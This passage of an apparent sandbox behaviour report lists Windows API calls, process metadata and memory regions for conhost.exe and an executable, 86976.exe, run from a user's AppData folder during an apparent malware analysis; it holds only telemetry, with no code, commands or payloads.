	[0091.972] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x92e559f4c0 | out: lplpMessageFilter=0x92e559f4c0*=0x92e59359d0) returned 0x0
	[0091.972] FreeLibrary (hLibModule=0x7ffbf39b0000) returned 1
	[0091.973] CoUninitialize () 
	[0091.973] DllCanUnloadNow () returned 0x1
	[0091.973] DllCanUnloadNow () returned 0x0
	[0091.973] DllCanUnloadNow () returned 0x0
	[0092.919] ExitProcess (uExitCode=0x0) 

Thread:
	id = 6
	os_tid = 0xec0


Thread:
	id = 7
	os_tid = 0xec4

	[0048.215] GetClassInfoA (in: hInstance=0x7ff7ecad0000, lpClassName="WSH-Timer", lpWndClass=0x92e749fd10 | out: lpWndClass=0x92e749fd10) returned 0
	[0048.216] RegisterClassA (lpWndClass=0x92e749fd10) returned 0xc16e
	[0048.216] CreateWindowExA (dwExStyle=0x0, lpClassName="WSH-Timer", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=1, nHeight=1, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff7ecad0000, lpParam=0x92e5935bf0) returned 0x50204
	[0048.216] GetWindowLongPtrA (hWnd=0x50204, nIndex=-21) returned 0x0
	[0048.216] NtdllDefWindowProc_A (hWnd=0x50204, Msg=0x24, wParam=0x0, lParam=0x92e749f6b0) returned 0x0
	[0048.216] GetWindowLongPtrA (hWnd=0x50204, nIndex=-21) returned 0x0
	[0048.216] SetWindowLongPtrA (hWnd=0x50204, nIndex=-21, dwNewLong=0x92e5935bf0) returned 0x0
	[0048.217] NtdllDefWindowProc_A (hWnd=0x50204, Msg=0x81, wParam=0x0, lParam=0x92e749f670) returned 0x1
	[0048.219] GetWindowLongPtrA (hWnd=0x50204, nIndex=-21) returned 0x92e5935bf0
	[0048.219] NtdllDefWindowProc_A (hWnd=0x50204, Msg=0x83, wParam=0x0, lParam=0x92e749f6d0) returned 0x0
	[0048.223] GetWindowLongPtrA (hWnd=0x50204, nIndex=-21) returned 0x92e5935bf0
	[0048.223] NtdllDefWindowProc_A (hWnd=0x50204, Msg=0x1, wParam=0x0, lParam=0x92e749f670) returned 0x0
	[0048.224] SetEvent (hEvent=0x128) returned 1
	[0048.535] GetMessageA (in: lpMsg=0x92e749fce0, hWnd=0x50204, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x92e749fce0) returned 1
	[0048.535] DispatchMessageA (lpMsg=0x92e749fce0) returned 0x0
	[0048.535] GetWindowLongPtrA (hWnd=0x50204, nIndex=-21) returned 0x92e5935bf0
	[0048.535] NtdllDefWindowProc_A (hWnd=0x50204, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0
	[0048.535] GetMessageA (in: lpMsg=0x92e749fce0, hWnd=0x50204, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x92e749fce0) returned 0
	[0091.968] GetWindowLongPtrA (hWnd=0x50204, nIndex=-21) returned 0x92e5935bf0
	[0091.968] GetWindowLongPtrA (hWnd=0x50204, nIndex=-21) returned 0x92e5935bf0

Thread:
	id = 8
	os_tid = 0xec8


Thread:
	id = 9
	os_tid = 0xed0

	[0081.552] DllCanUnloadNow () returned 0x0

Thread:
	id = 10
	os_tid = 0xed8


Thread:
	id = 11
	os_tid = 0xedc


Thread:
	id = 12
	os_tid = 0xee0


Thread:
	id = 13
	os_tid = 0xf8c


Thread:
	id = 14
	os_tid = 0xfd0


Thread:
	id = 15
	os_tid = 0xfe0


Thread:
	id = 16
	os_tid = 0xfe8


Thread:
	id = 17
	os_tid = 0xc0c


Process:
	id = "2"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x79250000"
	os_pid = "0xe74"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xe6c"
	cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\Windows"
	os_username = "LHNIWSJ\\CIiHmnxMn6Ps"
	os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001714b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 163
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 164
	        start_va = 0x5e571d0000
	          end_va = 0x5e571effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005e571d0000"
	        filename = ""

Region:
	              id = 165
	        start_va = 0x5e571f0000
	          end_va = 0x5e57203fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005e571f0000"
	        filename = ""

Region:
	              id = 166
	        start_va = 0x5e57210000
	          end_va = 0x5e5724ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005e57210000"
	        filename = ""

Region:
	              id = 167
	        start_va = 0x7df5ff650000
	          end_va = 0x7ff5ff64ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ff650000"
	        filename = ""

Region:
	              id = 168
	        start_va = 0x7ff6c3e50000
	          end_va = 0x7ff6c3e72fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff6c3e50000"
	        filename = ""

Region:
	              id = 169
	        start_va = 0x7ff6c3e7b000
	          end_va = 0x7ff6c3e7bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c3e7b000"
	        filename = ""

Region:
	              id = 170
	        start_va = 0x7ff6c3e7e000
	          end_va = 0x7ff6c3e7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c3e7e000"
	        filename = ""

Region:
	              id = 171
	        start_va = 0x7ff6c4950000
	          end_va = 0x7ff6c4960fff
	     entry_point = 0x7ff6c4950000
	     region_type = mapped_file
	            name = "conhost.exe"
	        filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe")

Region:
	              id = 172
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 173
	        start_va = 0x5e57270000
	          end_va = 0x5e5736ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005e57270000"
	        filename = ""

Region:
	              id = 174
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 175
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 176
	        start_va = 0x5e571d0000
	          end_va = 0x5e571dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005e571d0000"
	        filename = ""

Region:
	              id = 177
	        start_va = 0x5e57370000
	          end_va = 0x5e5742dfff
	     entry_point = 0x5e57370000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 178
	        start_va = 0x5e57430000
	          end_va = 0x5e5746ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005e57430000"
	        filename = ""

Region:
	              id = 179
	        start_va = 0x7ff6c3d50000
	          end_va = 0x7ff6c3e4ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff6c3d50000"
	        filename = ""

Region:
	              id = 180
	        start_va = 0x7ff6c3e7c000
	          end_va = 0x7ff6c3e7dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c3e7c000"
	        filename = ""

Region:
	              id = 181
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 182
	        start_va = 0x5e571e0000
	          end_va = 0x5e571e6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005e571e0000"
	        filename = ""

Region:
	              id = 183
	        start_va = 0x5e57250000
	          end_va = 0x5e57250fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005e57250000"
	        filename = ""

Region:
	              id = 184
	        start_va = 0x5e57260000
	          end_va = 0x5e57266fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005e57260000"
	        filename = ""

Region:
	              id = 185
	        start_va = 0x5e57530000
	          end_va = 0x5e5753ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005e57530000"
	        filename = ""

Region:
	              id = 186
	        start_va = 0x7ffbf6a10000
	          end_va = 0x7ffbf6a62fff
	     entry_point = 0x7ffbf6a10000
	     region_type = mapped_file
	            name = "conhostv2.dll"
	        filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll")

Region:
	              id = 187
	        start_va = 0x7ffbfd5b0000
	          end_va = 0x7ffbfd732fff
	     entry_point = 0x7ffbfd5b0000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 188
	        start_va = 0x7ffc015f0000
	          end_va = 0x7ffc01625fff
	     entry_point = 0x7ffc015f0000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 189
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 190
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 191
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 192
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 193
	        start_va = 0x7ffc02160000
	          end_va = 0x7ffc022bbfff
	     entry_point = 0x7ffc02160000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 194
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 195
	        start_va = 0x7ffc03bb0000
	          end_va = 0x7ffc03cf0fff
	     entry_point = 0x7ffc03bb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 196
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 197
	        start_va = 0x5e57470000
	          end_va = 0x5e57470fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005e57470000"
	        filename = ""

Region:
	              id = 198
	        start_va = 0x5e57480000
	          end_va = 0x5e57480fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005e57480000"
	        filename = ""

Region:
	              id = 199
	        start_va = 0x5e574b0000
	          end_va = 0x5e574bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005e574b0000"
	        filename = ""

Region:
	              id = 200
	        start_va = 0x5e574c0000
	          end_va = 0x5e574fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005e574c0000"
	        filename = ""

Region:
	              id = 201
	        start_va = 0x5e57540000
	          end_va = 0x5e576c7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005e57540000"
	        filename = ""

Region:
	              id = 202
	        start_va = 0x5e576d0000
	          end_va = 0x5e57850fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005e576d0000"
	        filename = ""

Region:
	              id = 203
	        start_va = 0x5e57860000
	          end_va = 0x5e58c5ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005e57860000"
	        filename = ""

Region:
	              id = 204
	        start_va = 0x7ff6c3e79000
	          end_va = 0x7ff6c3e7afff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c3e79000"
	        filename = ""

Region:
	              id = 205
	        start_va = 0x7ffc008a0000
	          end_va = 0x7ffc008e9fff
	     entry_point = 0x7ffc008a0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 206
	        start_va = 0x7ffc008f0000
	          end_va = 0x7ffc00902fff
	     entry_point = 0x7ffc008f0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 207
	        start_va = 0x7ffc00910000
	          end_va = 0x7ffc0091efff
	     entry_point = 0x7ffc00910000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")

Region:
	              id = 208
	        start_va = 0x7ffc00940000
	          end_va = 0x7ffc00f67fff
	     entry_point = 0x7ffc00940000
	     region_type = mapped_file
	            name = "windows.storage.dll"
	        filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll")

Region:
	              id = 209
	        start_va = 0x7ffc00fc0000
	          end_va = 0x7ffc01072fff
	     entry_point = 0x7ffc00fc0000
	     region_type = mapped_file
	            name = "shcore.dll"
	        filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll")

Region:
	              id = 210
	        start_va = 0x7ffc01640000
	          end_va = 0x7ffc016e5fff
	     entry_point = 0x7ffc01640000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 211
	        start_va = 0x7ffc022c0000
	          end_va = 0x7ffc037e4fff
	     entry_point = 0x7ffc022c0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 212
	        start_va = 0x7ffc03a50000
	          end_va = 0x7ffc03aa0fff
	     entry_point = 0x7ffc03a50000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 213
	        start_va = 0x7ffbff170000
	          end_va = 0x7ffbff205fff
	     entry_point = 0x7ffbff170000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")

Region:
	              id = 214
	        start_va = 0x5e57210000
	          end_va = 0x5e5724ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005e57210000"
	        filename = ""

Region:
	              id = 215
	        start_va = 0x5e57490000
	          end_va = 0x5e57493fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005e57490000"
	        filename = ""

Region:
	              id = 216
	        start_va = 0x5e58d10000
	          end_va = 0x5e58d1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005e58d10000"
	        filename = ""

Region:
	              id = 217
	        start_va = 0x5e58d20000
	          end_va = 0x5e59056fff
	     entry_point = 0x5e58d20000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 218
	        start_va = 0x5e59060000
	          end_va = 0x5e5927dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005e59060000"
	        filename = ""

Region:
	              id = 219
	        start_va = 0x5e59280000
	          end_va = 0x5e5949afff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005e59280000"
	        filename = ""

Region:
	              id = 220
	        start_va = 0x5e594a0000
	          end_va = 0x5e595b6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005e594a0000"
	        filename = ""

Region:
	              id = 221
	        start_va = 0x5e595c0000
	          end_va = 0x5e597d4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005e595c0000"
	        filename = ""

Region:
	              id = 222
	        start_va = 0x5e597e0000
	          end_va = 0x5e598e8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005e597e0000"
	        filename = ""

Region:
	              id = 223
	        start_va = 0x5e598f0000
	          end_va = 0x5e599a7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005e598f0000"
	        filename = ""

Region:
	              id = 224
	        start_va = 0x7ff6c3e7e000
	          end_va = 0x7ff6c3e7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c3e7e000"
	        filename = ""

Region:
	              id = 225
	        start_va = 0x7ffbfe9a0000
	          end_va = 0x7ffbfe9c1fff
	     entry_point = 0x7ffbfe9a0000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")

Region:
	              id = 226
	        start_va = 0x7ffbfe5c0000
	          end_va = 0x7ffbfe5d2fff
	     entry_point = 0x7ffbfe5c0000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 227
	        start_va = 0x7ffbffd20000
	          end_va = 0x7ffbffd77fff
	     entry_point = 0x7ffbffd20000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 228
	        start_va = 0x5e574a0000
	          end_va = 0x5e574a6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005e574a0000"
	        filename = ""

Region:
	              id = 229
	        start_va = 0x5e57500000
	          end_va = 0x5e57504fff
	     entry_point = 0x5e57500000
	     region_type = mapped_file
	            name = "user32.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui")

Region:
	              id = 230
	        start_va = 0x5e57510000
	          end_va = 0x5e57510fff
	     entry_point = 0x5e57510000
	     region_type = mapped_file
	            name = "conhostv2.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\ConhostV2.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\conhostv2.dll.mui")

Region:
	              id = 231
	        start_va = 0x5e57520000
	          end_va = 0x5e57521fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005e57520000"
	        filename = ""

Region:
	              id = 232
	        start_va = 0x5e599b0000
	          end_va = 0x5e59ba5fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005e599b0000"
	        filename = ""

Region:
	              id = 233
	        start_va = 0x7ffbfb2d0000
	          end_va = 0x7ffbfb543fff
	     entry_point = 0x7ffbfb2d0000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll")

Region:
	              id = 234
	        start_va = 0x5e58c60000
	          end_va = 0x5e58c60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005e58c60000"
	        filename = ""

Region:
	              id = 235
	        start_va = 0x5e58c70000
	          end_va = 0x5e58c71fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005e58c70000"
	        filename = ""

Region:
	              id = 236
	        start_va = 0x7ffc006f0000
	          end_va = 0x7ffc0075afff
	     entry_point = 0x7ffc006f0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")


Thread:
	id = 2
	os_tid = 0xe78


Thread:
	id = 3
	os_tid = 0xea8


Thread:
	id = 4
	os_tid = 0xeac


Thread:
	id = 5
	os_tid = 0xeb8


Process:
	id = "3"
	image_name = "86976.exe"
	filename = "c:\\users\\ciihmnxmn6ps\\appdata\\local\\nzpnpqiti\\86976.exe"
	page_root = "0x27603000"
	os_pid = "0xcd0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xe6c"
	cmd_line = "C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "LHNIWSJ\\CIiHmnxMn6Ps"
	os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001714b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 408
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 409
	        start_va = 0x30000
	          end_va = 0x31fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 410
	        start_va = 0x40000
	          end_va = 0x53fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 411
	        start_va = 0x60000
	          end_va = 0x9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000060000"
	        filename = ""

Region:
	              id = 412
	        start_va = 0xa0000
	          end_va = 0x19ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000a0000"
	        filename = ""

Region:
	              id = 413
	        start_va = 0x1a0000
	          end_va = 0x1a3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001a0000"
	        filename = ""

Region:
	              id = 414
	        start_va = 0x1b0000
	          end_va = 0x1b1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001b0000"
	        filename = ""

Region:
	              id = 415
	        start_va = 0x400000
	          end_va = 0x1e5cfff
	     entry_point = 0x400000
	     region_type = mapped_file
	            name = "86976.exe"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\nzpnpqiti\\86976.exe")

Region:
	              id = 416
	        start_va = 0x77c40000
	          end_va = 0x77db8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")

Region:
	              id = 417
	        start_va = 0x7ffb0000
	          end_va = 0x7ffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007ffb0000"
	        filename = ""

Region:
	              id = 418
	        start_va = 0x7ffdb000
	          end_va = 0x7ffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffdb000"
	        filename = ""

Region:
	              id = 419
	        start_va = 0x7ffde000
	          end_va = 0x7ffdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffde000"
	        filename = ""

Region:
	              id = 420
	        start_va = 0x7ffdf000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffdf000"
	        filename = ""

Region:
	              id = 421
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 422
	        start_va = 0x7fff0000
	          end_va = 0x7ffc03e6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fff0000"
	        filename = ""

Region:
	              id = 423
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 424
	        start_va = 0x7ffc04032000
	          end_va = 0x7ffffffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ffc04032000"
	        filename = ""

Region:
	              id = 426
	        start_va = 0x1c0000
	          end_va = 0x1c1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001c0000"
	        filename = ""

Region:
	              id = 427
	        start_va = 0x380000
	          end_va = 0x38ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000380000"
	        filename = ""

Region:
	              id = 428
	        start_va = 0x59300000
	          end_va = 0x5934efff
	     entry_point = 0x59300000
	     region_type = mapped_file
	            name = "wow64.dll"
	        filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")

Region:
	              id = 429
	        start_va = 0x59360000
	          end_va = 0x593d2fff
	     entry_point = 0x59360000
	     region_type = mapped_file
	            name = "wow64win.dll"
	        filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")

Region:
	              id = 430
	        start_va = 0x59350000
	          end_va = 0x59357fff
	     entry_point = 0x59350000
	     region_type = mapped_file
	            name = "wow64cpu.dll"
	        filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")

Region:
	              id = 431
	        start_va = 0x230000
	          end_va = 0x32ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000230000"
	        filename = ""

Region:
	              id = 432
	        start_va = 0x76970000
	          end_va = 0x76ae5fff
	     entry_point = 0x76970000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")

Region:
	              id = 433
	        start_va = 0x77670000
	          end_va = 0x7775ffff
	     entry_point = 0x77670000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")

Region:
	              id = 434
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 435
	        start_va = 0x1e60000
	          end_va = 0x1f1dfff
	     entry_point = 0x1e60000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 436
	        start_va = 0x74c40000
	          end_va = 0x74cd0fff
	     entry_point = 0x74c40000
	     region_type = mapped_file
	            name = "apphelp.dll"
	        filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll")

Region:
	              id = 437
	        start_va = 0x7feb0000
	          end_va = 0x7ffaffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007feb0000"
	        filename = ""

Region:
	              id = 438
